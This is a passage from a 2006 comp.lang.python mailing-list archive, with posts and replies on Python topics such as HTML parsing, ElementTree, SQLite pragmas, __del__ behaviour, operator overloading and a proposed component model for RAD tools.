> Is this a concept of python?

If you mean "a concept specific to Python", well, not really - OO first
reared it's head with Simula in the sixties and matured in the seventies
with Smalltalk (which is still the reference IMHO). And it's (it->OO)
more an evolution/systematisation of concepts that already existed
before...

FWIW, I don't know if there's any truly Python-specific concept in
Python (except perhaps for the descriptor protocol, which is a somewhat
advanced topic if you're new to programming and OO...).



-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From max at alcyone.com  Thu Oct 12 02:19:46 2006
From: max at alcyone.com (Erik Max Francis)
Date: Wed, 11 Oct 2006 23:19:46 -0700
Subject: Python component model
In-Reply-To: <1160618190.314729.236250@c28g2000cwb.googlegroups.com>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<pan.2006.10.09.18.24.45.251048@gmx.net>
	<452b7aae$0$306$426a74cc@news.free.fr> <eghai4$615$1@online.de>
	<mailman.343.1160617110.11739.python-list@python.org>
	<1160618190.314729.236250@c28g2000cwb.googlegroups.com>
Message-ID: <RsudnbR7xv4VQ7DYnZ2dnUVZ_oydnZ2d@speakeasy.net>

Ilias Lazaridis wrote:

> http://dabodev.com
> http://case.lazaridis.com/wiki/DaboAudit

Who.  Cares.  What.  You.  Think?

-- 
Erik Max Francis && max at alcyone.com && http://www.alcyone.com/max/
  San Jose, CA, USA && 37 20 N 121 53 W && AIM, Y!M erikmaxfrancis
   Love is, above all, the gift of oneself.
    -- Jean Anouilh


From eurleif at ecritters.biz  Sat Oct 28 14:40:27 2006
From: eurleif at ecritters.biz (Leif K-Brooks)
Date: Sat, 28 Oct 2006 14:40:27 -0400
Subject: what is "@param" in docstrings?
In-Reply-To: <1162059000.915118.313070@f16g2000cwb.googlegroups.com>
References: <1162059000.915118.313070@f16g2000cwb.googlegroups.com>
Message-ID: <4543a357$0$13808$4d3efbfe@news.sover.net>

georgeryoung at gmail.com wrote:
> What does the "@param" mean?  It looks like something meant to be
> machine readable.  Alas, googling on "@param" doesn't work...  It looks
> at first like a decorator, but that doesn't make much sense.

It's Epydoc's Epytext markup: <http://epydoc.sourceforge.net/>.


From fredrik at pythonware.com  Wed Oct  4 03:06:06 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 04 Oct 2006 09:06:06 +0200
Subject: understanding htmllib
In-Reply-To: <2095340.jb7ycSJnFA@teancum>
References: <2095340.jb7ycSJnFA@teancum>
Message-ID: <efvmgu$fmi$1@sea.gmane.org>

David Bear wrote:

> I'm trying to understand how to use the HTMLParser in htmllib but I'm not
> seeing enough examples.
> 
> I just want to grab the contents of everything enclosed in a '<body>' tag,
> i.e. items from where <body> begins to where </body> ends. I start by doing
> 
> class HTMLBody(HTMLParser):
>    def __init__(self):
>       self.contents = []
> 
>    def handle_starttag()..
> 
> Now I'm stuck. I cant see that there is a method on handle_starttag that
> would return everthing to the end tag. And I haven't seen anything on how
> to define my one handle_unknowntag..

htmllib is designed to be used together with a formatting object.  if 
you just want to work with tags, use sgmllib instead.  some variation of 
the SGMLFilter example on this page might be what you need:

     http://effbot.org/librarybook/sgmllib.htm

if you want a DOM-like structure instead of an event stream, use

     http://www.crummy.com/software/BeautifulSoup/

usage:

 >>> import BeautifulSoup as BS
 >>> soup = BS.BeautifulSoup(open("page.html"))
 >>> str(soup.body)
'<body>\n<h1>Body Title</h1>\n<p>Paragraph</p>\n</body>'
 >>> soup.body.renderContents()
'\n<h1>Body Title</h1>\n<p>Paragraph</p>\n'

</F>



From horpner at yahoo.com  Wed Oct 25 15:48:36 2006
From: horpner at yahoo.com (Neil Cerutti)
Date: Wed, 25 Oct 2006 19:48:36 GMT
Subject: cleaner way to write this?
References: <USN%g.148$1n3.4086@news.tufts.edu>
	<j5O%g.150$1n3.4013@news.tufts.edu>
	<7xwt6o44um.fsf@ruckus.brouhaha.com>
	<%dO%g.151$1n3.4135@news.tufts.edu>
	<7x8xj4i5gq.fsf@ruckus.brouhaha.com>
	<qHO%g.153$1n3.4133@news.tufts.edu>
	<7xzmbkgq5h.fsf@ruckus.brouhaha.com>
	<UOO%g.155$1n3.3672@news.tufts.edu>
Message-ID: <ocP%g.7775$5i7.6064@newsreading01.news.tds.net>

On 2006-10-25, John Salerno <johnjsal at NOSPAMgmail.com> wrote:
> Paul Rubin wrote:
>
>> Right.  The above handles that case, I believe. 
>
> Oh, you're right! It's amazing how this went from a simple,
> two-line method to a big mess of error-checking. :)

>From Kernighan & Pike, _The Practice of Programming_ (ISBN
0-201-61586-X):

  This completes our C version [of a csv reading library]. It
  handles arbitrarily large inputs and does something sensible
  even with perverse data. The price is that it is more than four
  times as long as the first prototype and some of the code is
  intricate. Such expansion of size and complexity is a typical
  result of moving from prototype to production.

(It's a useful book, especially for a hobbyist programmer. Though
there's not much Python code in it, pretty much all the advice
inside is applicable to writing Python code.)

-- 
Neil Cerutti


From bignose+hates-spam at benfinney.id.au  Thu Oct 26 08:59:25 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Thu, 26 Oct 2006 22:59:25 +1000
Subject: Handling emails
References: <mailman.967.1161596728.11739.python-list@python.org>
	<mailman.1090.1161707760.11739.python-list@python.org>
	<GhC%g.18871$UG4.13890@newsread2.news.pas.earthlink.net>
	<200610262031.25448.fulvio@tm.net.my>
Message-ID: <87mz7jgrma.fsf@benfinney.id.au>

Fulvio <fulvio at tm.net.my> writes:

> ***********************
> Your mail has been scanned by InterScan MSS.
> ***********************

Please stop sending messages with obnoxious headers like this.



From kent at kentsjohnson.com  Tue Oct 17 15:33:58 2006
From: kent at kentsjohnson.com (Kent Johnson)
Date: Tue, 17 Oct 2006 19:33:58 GMT
Subject: why should dict not be callable?
In-Reply-To: <1161113146.541464.80890@i3g2000cwc.googlegroups.com>
References: <1161113146.541464.80890@i3g2000cwc.googlegroups.com>
Message-ID: <GeaZg.6772$5i7.857@newsreading01.news.tds.net>

georgeryoung at gmail.com wrote:
> A couple of times recently I've come across this problem:  I have a
> large list to sort and I need to the the "key=function" argument to
> sort appropriately.  But I actually have the key mapping in a big
> dictionary.  Now I have to make an intermediary function:
> 
> def key_fn(key):
>    return key_dict[key]

Try key=key_dict.__getitem__

In [3]: d=dict(a=1,b=2)

In [4]: d.__getitem__('a')
Out[4]: 1

Kent


From ocollioud at gmail.com  Thu Oct 26 12:35:17 2006
From: ocollioud at gmail.com (olive)
Date: 26 Oct 2006 09:35:17 -0700
Subject: PyDev + Eclipse (Was: Re: What's the best IDE?)
In-Reply-To: <KZudnVLsLcBkQN3YnZ2dnUVZ_rudnZ2d@comcast.com>
References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com>
	<mailman.1239.1161839217.11739.python-list@python.org>
	<KZudnVLsLcBkQN3YnZ2dnUVZ_rudnZ2d@comcast.com>
Message-ID: <1161880517.440039.215280@i3g2000cwc.googlegroups.com>


Michael B. Trausch a ?crit :

> Kenneth McDonald wrote:
> >
> > With the most recent edition of PyDev, I find Eclipse works quite well
> > for me.
> >
>
> Since you mentioned it, I have a question that searching around and
> poking around has not solved for me, yet.
>
> Do you have auto-completion working with your setup?  It does not seem
> to work at all for me.

Did you try to set your PYTHONPATH properly with the same content in
both central AND project preferences ?



From marc.wyburn at googlemail.com  Thu Oct 12 07:02:23 2006
From: marc.wyburn at googlemail.com (marc.wyburn at googlemail.com)
Date: 12 Oct 2006 04:02:23 -0700
Subject: XML ElementTree Parse.
In-Reply-To: <mailman.368.1160648480.11739.python-list@python.org>
References: <1160647385.137882.287070@m7g2000cwm.googlegroups.com>
	<mailman.368.1160648480.11739.python-list@python.org>
Message-ID: <1160650943.178910.263390@c28g2000cwb.googlegroups.com>

Thanks Fredrik, thats got me started but just incase anyone looks there
is a slight mistype in your code...

 or you could do something like
>
>     for dir_elem in tree.findall("dirob"):
>         for file_elem in dirob.findall("fileob"):
>             print file_elem.findtext("filesize")
>
> to loop over all directory objects at the top level, and print the sizes for
> all files in those directories.

should read

>>> for delem in tree.findall("dirob"):
... 	for felem in delem.findall("fileob"):
... 		print felem.findtext("filesize")
... 		
933888
9365



From radek.svarz at gmail.com  Mon Oct 16 16:27:44 2006
From: radek.svarz at gmail.com (Radek)
Date: 16 Oct 2006 13:27:44 -0700
Subject: run subprocess in separate window
In-Reply-To: <1160994492.172958.235580@i42g2000cwa.googlegroups.com>
References: <1160930616.489486.184800@i3g2000cwc.googlegroups.com>
	<1160994492.172958.235580@i42g2000cwa.googlegroups.com>
Message-ID: <1161030464.078198.169330@m73g2000cwd.googlegroups.com>

Hello,

as you can see, I tried subprocess methods. But could not find the
right call.

Radek


aurelien.campeas at logilab.fr wrote:
> Radek a ?crit :
>
> > Hi,
> >
> > I am trying to create GUI launcher of several applications using Python
> > and Tkinter.
> >
> > Currently when using subprocess.Popen("mycommand") all output goes to
> > the stdout of my launcher.
> >
> > For some command line applications I need to launch them so that their
> > output goes into the separate "terminal" window.
> >
> > How can I make it?
> >
> > Thanks,
> >
> > Radek
>
> Hello, have a look at the subprocess module, it might help you get to
> what you want.



From onurb at xiludom.gro  Thu Oct 26 09:44:51 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Thu, 26 Oct 2006 15:44:51 +0200
Subject: doesnt seems to work can any help be provided
In-Reply-To: <1161868888.823864.66700@f16g2000cwb.googlegroups.com>
References: <1161868888.823864.66700@f16g2000cwb.googlegroups.com>
Message-ID: <4540bbd4$0$9134$426a74cc@news.free.fr>

Arun Nair wrote:

> import string

You don't need it. Use "some string".split() instead

> class Card:

class Card(object):

>     # Not sure if I need to set these first???
Not only do you need to define them, but it would probably be a good
idea to populate them. And BTW, () is a tuple, not a list (but tuples
are perfectly ok for this use case).
>     # suitList = ()
>     # rankList = ()


(snip whole code listing)

Do you really expect us to run your code, fix the bugs and send it back?
Or are we supposed to guess what's "not working" ?

Please take a few minutes to read this:
http://catb.org/esr/faqs/smart-questions.html

with particular attention to the following point:
http://catb.org/esr/faqs/smart-questions.html#beprecise

HTH


-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From eldiener_no_spam_here at earthlink.net  Tue Oct 10 12:31:27 2006
From: eldiener_no_spam_here at earthlink.net (Edward Diener No Spam)
Date: Tue, 10 Oct 2006 16:31:27 GMT
Subject: Python component model
In-Reply-To: <mailman.209.1160486725.11739.python-list@python.org>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>	<452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net>	<UVDWg.12152$UG4.2954@newsread2.news.pas.earthlink.net>	<1160467516.602655.169920@c28g2000cwb.googlegroups.com><mailman.186.1160469729.11739.python-list@python.org>	<OZMWg.12229$UG4.10400@newsread2.news.pas.earthlink.net>
	<mailman.209.1160486725.11739.python-list@python.org>
Message-ID: <zVPWg.9708$o71.4217@newsread3.news.pas.earthlink.net>

Fredrik Lundh wrote:
> Edward Diener No Spam wrote:
> 
>> There's no doubt that Python's excellent introspection mechanism allows
>> an outside RAD-like tool to inspect the workings of any Python object.
>> But that does not make it a component model in my original use of the
>> term on this thread. A RAD tool needs to know what properties and events
>> within a class can be manipulated visually, and it needs to be able to
>> serialize those properties and events so that they are set at run-time
>> automatically once an object is created.
> 
> external serialization was not part of your original definition.

Well, knock me over.

> 
> I think you have to be a *lot* more concrete here.  repeatedly referring to
> "some kind of hypothetical property (that isn't a property)" and "some kind
> of hypothetical event (that isn't a public method)" and "some kind of hypo-
> thetical RAD tool" won't get you anywhere.

My OP was just to query whether a component model existed for Python, 
like JavaBeans for Java or .Net for C#, C++/CLI etc. After that came 
suggestions of what I thought such a component model was about, which I 
thought I answered generally. Not you want details. No doubt next will 
come a demand for code.

OK, here is my idea of what such a component model envisages as a list 
of items. After this, unless I get some intelligent comments from people 
who might be interested in what I envision, or something very similar, I 
will be off to investigate it myself rather than do battle with the 
horde of people who will just tell me that Python, being a great 
language, does not need what I have suggested.

1) Component property: This is a glorified attribute with a type that 
can either be specified in a "static" manner, or always be discovered 
dynamically, or have converters back and forth between a string and the 
actual value represented by the component property. A component property 
has a getter function to retrieve the value if it is readable and a 
setter function to set the value if it is writable. It must be either 
readable or writable or both. A component property is not any Python 
class attribute since a component has the right to specify only certain 
values as manipulatable in a design-time RAD environment.

2) Component event: This is an type which encapsulates an array, or a 
list of callable objects with the same function signature, along with 
the functionality to add and remove elements from the array, as well as 
cycle through the array calling the callable objects as a particular 
event is triggered. A component event is an event source for a 
particular event. Component events have to be dicoverable by the Visual 
RAD system so that an object's appropriate event handler, an event sink, 
can be hooked to the component event itself, an event source, through a 
design time interface which propagates the connection at run-time.

3: Component serialization: A component which has its properties and 
events set by a visual design-time RAD environment needs to be 
serialized at design time and deserialized at run-time. This can be a 
default serialization of all component properties and events, or the 
component itself can participate in the serilization effort either 
wholly or partly.

4) Custom property and component editors: A component editor can present 
a property editor or an editor for an entire component which the visual 
design-time RAD environment can use to allow the programmer end-user of 
the component to set or get component property values. Normally a design 
time environment will present default property editors for each 
component property type, but a component can override this.

5) Custom type converters: A component should be able to specify a 
custom converter for any property to convert, in both directions or 
either direction, between the property's string value as seen by a 
property editor and the actual value of the component property's type.

This is the general gist of those things which are needed in a visual 
Design-time RAD environment.


From simon at brunningonline.net  Fri Oct 20 14:23:11 2006
From: simon at brunningonline.net (Simon Brunning)
Date: Fri, 20 Oct 2006 19:23:11 +0100
Subject: cross-linked version of the python documentation
In-Reply-To: <453904e0$0$25170$88260bb3@free.teranews.com>
References: <453904e0$0$25170$88260bb3@free.teranews.com>
Message-ID: <8c7f10c60610201123j4fcde596mdc35e6ad27502d72@mail.gmail.com>

On 10/20/06, tom arnall <kloro2006 at gmail.com> wrote:
> Is there a cross-linked version of the python documentation available? Is
> anyone interested in starting a project for such?

What do you mean by cross-linked?

-- 
Cheers,
Simon B
simon at brunningonline.net
http://www.brunningonline.net/simon/blog/


From alex.ksikes at gmail.com  Thu Oct 26 05:20:47 2006
From: alex.ksikes at gmail.com (alex.ksikes at gmail.com)
Date: 26 Oct 2006 02:20:47 -0700
Subject: Printing Hidden Character in Python
In-Reply-To: <mailman.1259.1161853763.11739.python-list@python.org>
References: <3ACF03E372996C4EACD542EA8A05E66A0615D6@mailbe01.teak.local.net>
	<87ejsvihaj.fsf@benfinney.id.au>
	<mailman.1259.1161853763.11739.python-list@python.org>
Message-ID: <1161854447.094251.141570@i42g2000cwa.googlegroups.com>

Just escape the '\' character. So you would do:

print "\\n"

On Oct 26, 2:06 am, Wijaya Edward <ewij... at i2r.a-star.edu.sg> wrote:
> Ben,
>
> I mean while opening a file, like this
>
> for line in open('somefile.txt'):
>     print line
>
> printing "line" will not show the hidden chars like "\n","\r".
> Is there  a way to print it out?
>
> -- Edward WIJAYA
> SINGAPORE
>
> ________________________________
>
> From: python-list-bounces+ewijaya=i2r.a-star.edu... at python.org on behalf of Ben Finney
> Sent: Thu 10/26/2006 4:59 PM
> To: python-l... at python.org
> Subject: Re: Printing Hidden Character in Python
>
> Wijaya Edward <ewij... at i2r.a-star.edu.sg> writes:
> > How can we print out the hidden character like "\n", "\r" etc in
> > Python?What result do you want that you're not getting with:
>
>     print "\n"
>
> --
>  \      "Two rules to success in life: 1. Don't tell people everything |
>   `\                                         you know."  -- Sassan Tat |
> _o__)                                                                  |
> Ben Finney
>
> --http://mail.python.org/mailman/listinfo/python-list
>
> ------------ Institute For Infocomm Research - Disclaimer -------------
> This email is confidential and may be privileged.  If you are not the intended recipient, please delete it and notify us immediately. Please do not copy or use it for any purpose, or disclose its contents to any other person. Thank you.
> --------------------------------------------------------



From tpochep at mail.ru  Thu Oct 12 05:15:25 2006
From: tpochep at mail.ru (tpochep at mail.ru)
Date: 12 Oct 2006 02:15:25 -0700
Subject: python's newbie question
Message-ID: <1160644525.605518.55840@e3g2000cwe.googlegroups.com>

Hi. I have some strange problem (this is usual for newbies :) ):

#!/usr/bin/python
#sample.py

class Base1:
    def __init__(self):
        print "Base1.__init__", self
    def __del__(self):
        print "Base1.__del__", self

class Base2:
    def __init__(self):
        print "Base2.__init__", self
    def __del__(self):
        print "Base2.__del__", self

class Derived(Base1, Base2):
    def __init__(self):
        print "Derived.__init__:"
        Base1.__init__(self)
        Base2.__init__(self)
    def __del__(self):
        print "Derived.__del__:"
        Base1.__del__(self)
        Base2.__del__(self)

print "begin..."
d = Derived()
b = d
print "end..."

The output of this script:

begin...
Derived.__init__:
Base1.__init__ <__main__.Derived instance at 0x1869adcc>
Base2.__init__ <__main__.Derived instance at 0x1869adcc>
end...
Derived.__del__:
Base1.__del__ <__main__.Derived instance at 0x1869adcc>
Base2.__del__ <__main__.Derived instance at 0x1869adcc>

If I change this program a little:

#!/usr/bin/python
#skipped....

print "begin..."
d = Derived()
b1 = d #Here
print "end..."

The output is:

begin...
Derived.__init__:
Base1.__init__ <__main__.Derived instance at 0x1869adcc>
Base2.__init__ <__main__.Derived instance at 0x1869adcc>
end...
Derived.__del__:
Exception exceptions.AttributeError: "'NoneType' object has no
attribute '__del__'" in <bound method
Derived.__del__ of <__main__.Derived instance at 0x1869adcc>> ignored

I tried different names instead of b1, sometimes programm works,
sometimes I have an exception. So it's clear, that I've done some
stupid mistake, but it's not clear for me, python's newbie, where :)



From steve at holdenweb.com  Wed Oct 11 03:41:18 2006
From: steve at holdenweb.com (Steve Holden)
Date: Wed, 11 Oct 2006 08:41:18 +0100
Subject: what is this UnicodeDecodeError:....?
In-Reply-To: <1160515979.332472.223430@c28g2000cwb.googlegroups.com>
References: <1160504403.384348.253650@k70g2000cwa.googlegroups.com>	<pan.2006.10.10.20.32.27.653212@gmx.net>
	<1160515979.332472.223430@c28g2000cwb.googlegroups.com>
Message-ID: <452CA01E.6080704@holdenweb.com>

John Machin wrote:
> Marc 'BlackJack' Rintsch wrote:
> 
> 
>>Because you are trying to compare a unicode string `val` with a byte
>>string in the list. The unicode string will be converted to a byte string
>>for this comparison with the default encoding: ASCII.
> 
> 
> :-)
> 
> I presume you must live north of the equator. Down under, it seems to
> happen the other way up -- the byte strings are decoded to unicode:
> 
> | >>> ['a', 'exotic1\xff', 'exotic2\xf3'].index(u'\xf3')
> | Traceback (most recent call last):
> |   File "<stdin>", line 1, in ?
> | UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position
> 7: ordinal not in range(128)
> 
> (-:
> 
I see you also use little-endian smileys in the antipodes.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From DustanGroups at gmail.com  Sun Oct 15 15:17:58 2006
From: DustanGroups at gmail.com (Dustan)
Date: 15 Oct 2006 12:17:58 -0700
Subject: Reverse string-formatting (maybe?)
In-Reply-To: <mailman.540.1160919786.11739.python-list@python.org>
References: <1160829302.661810.123440@k70g2000cwa.googlegroups.com>
	<egqoee$i81$03$1@news.t-online.com>
	<1160916174.892851.39730@e3g2000cwe.googlegroups.com>
	<mailman.539.1160917513.11739.python-list@python.org>
	<1160918100.141668.128850@h48g2000cwc.googlegroups.com>
	<1160918263.478229.137760@h48g2000cwc.googlegroups.com>
	<mailman.540.1160919786.11739.python-list@python.org>
Message-ID: <1160939878.812142.30950@e3g2000cwe.googlegroups.com>


> Only you know what anomalies will be found in your data-sets.  If
> you know/assert that
>
> -the only stuff in the formatting string is one set of characters
>
> -that stuff in the replacement-values can never include any of
> your format-string characters
>
> -that you're not using funky characters/formatting in your format
> string (such as "%%" possibly followed by an "s" to get the
> resulting text of "%s" after formatting, or trying to use other
> formatters such as the aforementioned "%f" or possibly "%i")
>
> then you should be safe.  It could also be possible (with my
> original replacement of "(.*)") if your values will never include
> any substring of your format string.  If you can't guarantee
> these conditions, you're trying to make a cow out of hamburger.
> Or a pig out of sausage.  Or a whatever out of a hotdog. :)
>
> Conventional wisdom would tell you to create a test-suite of
> format-strings and sample values (preferably worst-case funkiness
> in your expected format-strings/values), and then have a test
> function that will assert that the unformatting of every
> formatted string in the set returns the same set of values that
> went in.  Something like
>
> tests = {
> 	'I was %s but now I am %s' : [
> 		('hot', 'cold'),
> 		('young', 'old'),
> 		],
> 	'He has 3 %s and 2 %s' : [
> 		('brothers', 'sisters'),
> 		('cats', 'dogs')
> 		]
> 	}
>
> for format_string, values in tests:
> 	unformatter = format.replace('%s', '(.*)')
> 	for value_tuple in values:
> 		formatted = format_string % value_tuple
> 		unformatted = unformatter.search(formatted).groups()
> 		if unformatted <> value_tuple:
> 			print "%s doesn't match %s when unformatting %s" % (
> 				unformatted,
> 				value_tuple
> 				format_string)
> 
> -tkc

Thanks for all your help. I've gotten the idea.



From steve at REMOVE.THIS.cybersource.com.au  Sat Oct  7 21:08:10 2006
From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano)
Date: Sun, 08 Oct 2006 11:08:10 +1000
Subject: operator overloading + - / * = etc...
References: <1160256250.688620.63770@h48g2000cwc.googlegroups.com>
	<slrneig76h.6u2.sybrenUSE@schuimige.stuvel.eu>
	<mailman.32.1160258060.11739.python-list@python.org>
	<slrneig8v2.746.sybrenUSE@schuimige.stuvel.eu>
	<mailman.34.1160260043.11739.python-list@python.org>
Message-ID: <pan.2006.10.08.01.08.09.501368@REMOVE.THIS.cybersource.com.au>

On Sat, 07 Oct 2006 17:21:55 -0500, Tim Chase wrote:

>>> With the caveat of the "=" mentioned in the subject-line (being
>>> different from "==")...I haven't found any way to override
>>> assignment in the general case.
>> 
>> Why would you want to do that?
> 
> For the same reason one would use property() to create 
> getter/setter functions for a particular variable--to intercept 
> attempts to set a variable.

Despite sloppy talk to the contrary (which I think most of us do from time
to time), Python doesn't have variables. It has names and objects. Names
are just labels -- there is no difference in behavior between the *names*
this_is_an_integer and this_is_a_string. (The *objects* they point to are
a different story, naturally.)

Objects do not, and can not, know what names they are bound to, nor can
they tell when the name or names they are bound to changes. Objects just
don't care what names they are bound to -- in fact, many objects aren't
bound to any name at all.

Suppose we bind the name "x" to the object 1, and then rebind the name "x"
to the object []. Which object's hypothetical __assign__ method should get
called? Object 1 or object []? Both of them? In what order? Why should
the empty list care what names it is bound to?

> I'm not sure there's an elegant way 
> to do it other than creating a custom container object with a 
> getter/setter using property().

You shouldn't be programming C++ in Python, you should rethink how you
are solving the problem.

But having done that, if you still find that the property() idiom makes
sense for names/objects, you can get close if you are willing to write x =
1 as NAMESPACE.x = 1, and then use a custom class or module to implement
the behavior you want.

Here is one module that you might be able to use:

http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/65207


-- 
Steven.



From sjmachin at lexicon.net  Thu Oct  5 23:02:53 2006
From: sjmachin at lexicon.net (John Machin)
Date: 5 Oct 2006 20:02:53 -0700
Subject: printing variables
In-Reply-To: <1160102860.587127.240080@h48g2000cwc.googlegroups.com>
References: <1160102860.587127.240080@h48g2000cwc.googlegroups.com>
Message-ID: <1160103773.695505.49750@c28g2000cwb.googlegroups.com>


s99999999s2003 at yahoo.com wrote:
> hi
> say i have variables like these
>
> var1 = "blah"
> var2 = "blahblah"
> var3 = "blahblahblah"
> var4 = "...."
> var5 = "..."..
>
> bcos all the variable names start with "var", is there a way to
> conveniently print those variables out...
> eg print var* ??
> i don't want to do :
>
> print var1, var2, var3, var4 ......etc...
> thanks

| >>> var1 = 1
| >>> var2 = 2
| >>> variant = 3
| >>> variegated = 4
| >>> ' '.join(str(v) for k, v in locals().iteritems() if
k.startswith('var'))
| '1 2 3 4'

*BUT* why do you start off with those things in separate variables
instead of in some container (list, dict, object simulating a "record"
or "struct", ...?



From ranjitha.kurra at gmail.com  Fri Oct  6 02:09:26 2006
From: ranjitha.kurra at gmail.com (Ranjitha)
Date: 5 Oct 2006 23:09:26 -0700
Subject: Pysqlite tables in RAM
In-Reply-To: <mailman.942.1159540556.10491.python-list@python.org>
References: <1159527458.488317.67350@b28g2000cwb.googlegroups.com>
	<mailman.942.1159540556.10491.python-list@python.org>
Message-ID: <1160114966.864979.193390@h48g2000cwc.googlegroups.com>


Fredrik Lundh wrote:

> Ranjitha wrote:
>
> > I want to store my data in a database on the disk. I also want to be
> > able to reload the tables into the RAM whenever I have a lot of disk
> > accesses and commit the changes back to the database.
>
> using the cache_size and synchronous pragmas sounds like a better way to
> trade reliability against speed/memory use.  e.g.
>
> table_memory = 100000000 # bytes
> cur.execute("pragma cache_size = %d;" % (table_memory / 1500))
>
> ...
>
> cur.execute("pragma synchronous = off;")
> # do lots of stuff
> cur.execute("pragma synchronous = full;")
>
> for more on this, see: http://www.sqlite.org/pragma.html
>
> </F>

Thanks a lot for the help but could you please elaborate on this. I'm
finding it difficult to follow the link you sent me. The jargon seems
all too new for me. 

Thanks,
Ranjitha



From fredrik at pythonware.com  Tue Oct 10 11:55:47 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 10 Oct 2006 17:55:47 +0200
Subject: can regular ol' python do a php include?
In-Reply-To: <M%OWg.93$1n3.2388@news.tufts.edu>
References: <kZNWg.91$1n3.2228@news.tufts.edu>	<mailman.214.1160490531.11739.python-list@python.org>	<YzOWg.92$1n3.2328@news.tufts.edu>
	<M%OWg.93$1n3.2388@news.tufts.edu>
Message-ID: <eggfq4$17h$1@sea.gmane.org>

John Salerno wrote:

> Spoke too soon maybe. Does using the above mean that I have to create an 
> entire Python file rather than an HTML file? What I'm looking for is to 
> be able to use pure HTML, but just stick in a line of Python when I need 
> to include something.

"include" is a PHP statement, not an HTML statement.

> It doesn't seem to work this way though, unless I'm doing something wrong.

Python CGI scripts are Python programs that generate output, not HTML 
files that are run though some HTML filter thingie on the way out.  if 
you want the latter, you have to use a suitable template engine, and 
configure your web server to run your files through that engine on the 
way out.  mod_python is one such tool:

  http://www.onlamp.com/pub/a/python/2004/02/26/python_server_pages.html

spyce is another one:

  http://spyce.sourceforge.net/

</F>



From bignose+hates-spam at benfinney.id.au  Mon Oct  2 19:38:22 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Tue, 03 Oct 2006 09:38:22 +1000
Subject: License / Registration key enabled software
References: <1158951061.539594.164040@i3g2000cwc.googlegroups.com>
	<pan.2006.09.27.16.51.12.529785@vfx.org.uk>
	<mailman.847.1159402807.10491.python-list@python.org>
	<pan.2006.09.28.12.49.40.745821@vfx.org.uk>
	<slrnehnqv2.ann.sybrenUSE@schuimige.stuvel.eu>
	<mailman.892.1159459686.10491.python-list@python.org>
	<slrnehnuut.bmu.sybrenUSE@schuimige.stuvel.eu>
	<pan.2006.09.28.23.45.23.622848@vfx.org.uk>
	<1159823579.917789.121910@c28g2000cwb.googlegroups.com>
Message-ID: <87wt7ii901.fsf@benfinney.id.au>

"T" <ty.2006 at yahoo.com> writes:

> I just wanted to know how license / registration key can be
> implemented in python.  I was not interested in philosophical
> discussion of why / why not one should implement it, whether that
> business model make sense, instead using smartcards, etc. etc.

See if this makes any more sense:

"I just wanted to know how to implement strict type checking of all
function parameters in Python. I was not interested in philosophical
discussion of why one should or should not implement it, whether that
programming model makes sense, instead using duck typing, etc. etc."

People often come to this list thinking they know exactly how
something should be done, based on preconceptions formed in a
different context, and believing all they need is our help in doing
it. We have a long and cherished history of asking "why do you want to
do that?" and "what are you actually trying to achieve?" in the
interest of finding a better approach to address the actual need.

I don't see this thread as being any different.

-- 
 \          "Friendship is born at that moment when one person says to |
  `\      another, 'What! You too? I thought I was the only one!'"  -- |
_o__)                                                       C.S. Lewis |
Ben Finney



From fredrik at pythonware.com  Wed Oct  4 15:26:03 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 04 Oct 2006 21:26:03 +0200
Subject: PEP 358 and operations on bytes
In-Reply-To: <1159976793.484514.277050@h48g2000cwc.googlegroups.com>
References: <mailman.1197.1159906581.10491.python-list@python.org>	<1159931141.342507.108260@e3g2000cwe.googlegroups.com>	<mailman.1269.1159973760.10491.python-list@python.org>	<1159974809.492898.253490@i42g2000cwa.googlegroups.com>	<7xejtojdys.fsf@ruckus.brouhaha.com>
	<1159976793.484514.277050@h48g2000cwc.googlegroups.com>
Message-ID: <eg11sb$era$1@sea.gmane.org>

John Machin wrote:

> But not on other integer subtypes. If regexps should not be restricted
> to text, they should work on domains whose number of symbols is greater
> than 256, shouldn't they?

they do:

import re, array

data = [0, 1, 1, 2]

array_type = "IH"[re.sre_compile.MAXCODE == 0xffff]

a = array.array(array_type, data)

m = re.search(r"\x01+", a)

if m:
     print m.span()
     print m.group()

</F>



From hanumizzle at gmail.com  Fri Oct  6 05:58:08 2006
From: hanumizzle at gmail.com (hanumizzle)
Date: Fri, 6 Oct 2006 05:58:08 -0400
Subject: printing variables
In-Reply-To: <20061006074027.GA21202@topjaklont.student.utwente.nl>
References: <1160102860.587127.240080@h48g2000cwc.googlegroups.com>
	<20061006074027.GA21202@topjaklont.student.utwente.nl>
Message-ID: <463ff4860610060258g14399b44jccb84792e6fd56e6@mail.gmail.com>

On 10/6/06, Gerrit Holl <gerrit at nl.linux.org> wrote:

> >>> import fnmatch
> >>> var1, var2, var3 = "foo", "bar", "baz"
> >>> for k in fnmatch.filter(locals(), "var*"):
> ...  print locals()[k]
> ...
> foo
> baz
> bar
>
> This is evil.
> It's unpythonic.

It's so evil, Perl 4 would look upon it in scorn.

-- Theerasak


From martin at v.loewis.de  Thu Oct  5 01:44:15 2006
From: martin at v.loewis.de (=?UTF-8?B?Ik1hcnRpbiB2LiBMw7Z3aXMi?=)
Date: Thu, 05 Oct 2006 07:44:15 +0200
Subject: Python to use a non open source bug tracker?
In-Reply-To: <mailman.1301.1160003132.10491.python-list@python.org>
